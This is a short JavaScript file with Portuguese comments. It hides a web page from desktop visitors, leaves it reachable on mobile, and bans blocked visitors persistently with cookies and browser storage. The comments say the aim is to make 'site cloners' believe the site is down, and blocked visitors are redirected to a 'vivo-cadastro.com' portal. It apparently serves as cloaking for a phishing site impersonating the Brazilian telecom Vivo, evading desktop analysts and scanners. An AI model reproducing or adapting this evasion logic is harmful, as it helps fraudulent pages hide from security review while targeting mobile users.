/** * Sistema instantâneo de detecção de dispositivo * Bloqueia imediatamente acessos via desktop antes de qualquer renderização */ (function() { // Lista de domínios de desenvolvimento onde não bloqueamos durante testes // No ambiente de produção, esta lista deve estar vazia var allowedDomains = ['replit.dev', 'replit.com', 'localhost', '127.0.0.1']; // Reativado para testes // Verificar se estamos em ambiente de desenvolvimento var isDev = allowedDomains.some(function(domain) { return window.location.hostname.indexOf(domain) !== -1; }); // Se for ambiente de desenvolvimento, pular verificação if (isDev) { console.log("Ambiente de desenvolvimento detectado. Bloqueio instantâneo desativado."); return; } // Verificar se já está banido localmente var isLocallyBanned = false; try { isLocallyBanned = localStorage.getItem('sp_access_blocked') === 'true' || sessionStorage.getItem('sp_access_blocked') === 'true' || document.cookie.indexOf('sp_access_blocked=true') !== -1; } catch (e) {} // Detecção de dispositivo mais precisa var isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile|mobile/i.test(navigator.userAgent) || ('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (window.screen.width <= 768); // Verificação secundária (mais precisa) var isDesktop = !isMobile; // Se estiver banido ou for desktop, bloquear imediatamente if (isLocallyBanned || isDesktop) { try { // Salvar estado para evitar tentativas repetidas (comportamento persistente) localStorage.setItem('sp_access_blocked', 'true'); sessionStorage.setItem('sp_access_blocked', 'true'); document.cookie = "sp_access_blocked=true; path=/; max-age=86400"; // 24 horas } catch (e) {} // Redirecionar para a raiz do domínio (sem a slug /error) // Isso fará com que clonadores de sites pensem que o site está fora do ar if (window.location.hostname.includes('vivo-cadastro.com')) { window.location.href = 'https://portal.vivo-cadastro.com'; } else { // Em outros domínios, redireciona para a raiz window.location.href = '/'; } } })();